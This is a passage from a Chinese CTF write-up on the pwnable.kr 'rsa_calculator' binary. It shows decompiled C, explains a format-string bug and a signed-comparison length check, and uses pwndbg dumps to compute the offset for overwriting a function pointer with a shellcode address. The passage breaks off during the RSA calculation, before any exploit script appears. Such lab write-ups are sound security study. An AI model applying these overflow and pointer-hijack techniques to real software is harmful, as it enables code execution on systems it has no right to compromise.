</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&lt;=</span> <span class="mi">1024</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">      <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">      <span class="nf">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;paste your hex encoded data&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="k">while</span> <span class="p">(</span> <span class="n">v4</span><span class="o">--</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="nf">fread</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">stdin</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">          <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="mi">10</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="n">ptr</span><span class="p">[</span><span class="o">++</span><span class="n">v5</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="nf">memset</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x200u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">      <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">      <span class="n">v7</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">      <span class="k">while</span> <span class="p">(</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v5</span> <span class="o">&gt;</span> <span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="n">v2</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">[</span><span class="n">v7</span><span class="o">++</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="nf">__isoc99_sscanf</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="s">&#34;%02x&#34;</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">      <span class="nf">memcpy</span><span class="p">(</span><span class="n">g_ebuf</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">      <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v5</span> <span class="o">/</span> <span class="mi">8</span> <span class="o">&gt;</span> <span class="n">i</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">        <span class="n">v3</span> <span class="o">=</span> <span class="nf">decrypt</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">g_ebuf</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">pri</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="n">g_pbuf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">      <span class="n">g_pbuf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- decrypted result -&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="n">g_pbuf</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">      <span class="nf">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;data length exceeds buffer size&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;set RSA key first&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>说实话，我只看出一个 53 行的格式化字符串漏洞。</p>
<p>看了其他 wp：https://quildu.xyz/pwnablekr/rookiss/rsa_calculator/</p>
<p>他说还有</p>
<ul>
<li>42 行，在循环中，使用 <code>sscanf</code> 和“%02x”时，长度是预期的两倍。</li>
<li>45 行，<code>ciphertext</code> 的长度为 512 字节，但 <code>memcpy</code> 最多可复制 1024 字节</li>
<li>46 行，<code>data_counter / 8</code> 应该是 <code>data_counter / 4</code></li>
</ul>
<p>但是他没给 exp。</p>
<p>这里还是格式化字符串泄露地址，用那个栈溢出覆盖 func，然后拿 shell</p>
<p>Etenal 还提到了一个点：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">.</span><span class="nl">text</span><span class="p">:</span><span class="mo">000000000040101</span><span class="n">A</span> <span class="p">;</span> <span class="mi">20</span><span class="o">:</span>     <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&lt;=</span> <span class="mi">1024</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="p">.</span><span class="nl">text</span><span class="p">:</span><span class="mo">000000000040101</span><span class="n">A</span>                 <span class="n">mov</span>     <span class="n">eax</span><span class="p">,</span> <span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">var_634</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="p">.</span><span class="nl">text</span><span class="p">:</span><span class="mo">0000000000401020</span>                 <span class="n">cmp</span>     <span class="n">eax</span><span class="p">,</span> <span class="mi">400</span><span class="n">h</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="p">.</span><span class="nl">text</span><span class="p">:</span><span class="mo">0000000000401025</span>                 <span class="n">jle</span>     <span class="kt">short</span> <span class="n">loc_40103B</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里应该用 jbe，但是却用了 jle。</p>
<p>jbe 是无符号判断，即使输入负数，被认为极大正数，不会通过判断。</p>
<p>jle 是有符号判断，输入负数，小于 1024，会通过判断，并且循环常用<code>len--</code>，导致负数 <code>int</code> 自减变成极大正数，无限循环，所以可以输入任意长数据。</p>
<h4 id="溢出覆写-func思路">溢出覆写 func思路<a class="anchor" href="#溢出覆写-func思路">#</a></h4>
<p>调试，我设置的 p=13，q=22，e=251，d=251</p>
<p>运行完那个加密循环后，p_buf 和 p_ebuf 的空间：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; x/24x 0x602560
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">0x602560 &lt;g_pbuf&gt;:      0x41414141      0x42424242      0x43434343      0x44444444
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">0x602570 &lt;g_pbuf+16&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">0x602580 &lt;g_pbuf+32&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">0x602590 &lt;g_pbuf+48&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">0x6025a0 &lt;g_pbuf+64&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">0x6025b0 &lt;g_pbuf+80&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">pwndbg&gt; x/24x 0x6020e0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">0x6020e0 &lt;g_ebuf&gt;:      0x00000041      0x00000041      0x00000041      0x00000041
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">0x6020f0 &lt;g_ebuf+16&gt;:   0x00000042      0x00000042      0x00000042      0x00000042
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">0x602100 &lt;g_ebuf+32&gt;:   0x0000006f      0x0000006f      0x0000006f      0x0000006f
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0x602110 &lt;g_ebuf+48&gt;:   0x000000b2      0x000000b2      0x000000b2      0x000000b2
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0x602120 &lt;g_ebuf+64&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0x602130 &lt;g_ebuf+80&gt;:   0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">pwndbg&gt; x/24x 0x602500
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0x602500 &lt;func&gt;:        0x00400a8c      0x00000000      0x00400d44      0x00000000
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0x602510 &lt;func+16&gt;:     0x00400faa      0x00000000      0x00401262      0x00000000
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">0x602520 &lt;func+32&gt;:     0x00401295      0x00000000      0x616e7770      0x2e656c62
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">0x602530 &lt;func+48&gt;:     0x7369726b      0x74736562      0x004007c0      0x00000000
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">0x602540 &lt;func+64&gt;:     0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">0x602550:       0x00000000      0x00000000      0x00000000      0x00000000
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>可以看到每个字节独占 4 个字节。而且 C 和 D 变了，这个要看参数设置的。而且 func 地址里面存的<code>0x00400a8c</code>就是菜单 1，<code>set_key</code>函数的地址。我们目的就是覆盖这个地址。覆写成 shellcode 地址，然后选 1，触发。</p>
<p>看一下距离：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; p 0x602500 - 0x6020e0
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="gp">$</span><span class="nv">1</span> <span class="o">=</span> <span class="m">1056</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">pwndbg&gt; p $1 / 4
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="gp">$</span><span class="nv">2</span> <span class="o">=</span> <span class="m">264</span>
</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>ebuf 距离 func 是 1056 字节，由于密文是明文 1 变 4，所以需要 264 个字节明文。由于还要覆写 func 本身，所以需要再加一个明文，而且这个明文计算完是 shellcode 的地址：<code>0x602560</code></p>
<p>怎么找到这个密文呢？这个 RSA 算法没有检验 p 和 q 是大素数，简单很多。先画靶子再射箭：</p>
<p><code>0x602560</code> = <code>6301024</code></p>
<p>已知 RSA 加密函数：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi><mo>=</mo><msup><mi>M</mi><mi>e</mi></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>n</mi></mrow><annotation encoding="application/x-tex">C = M^e \bmod n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal" 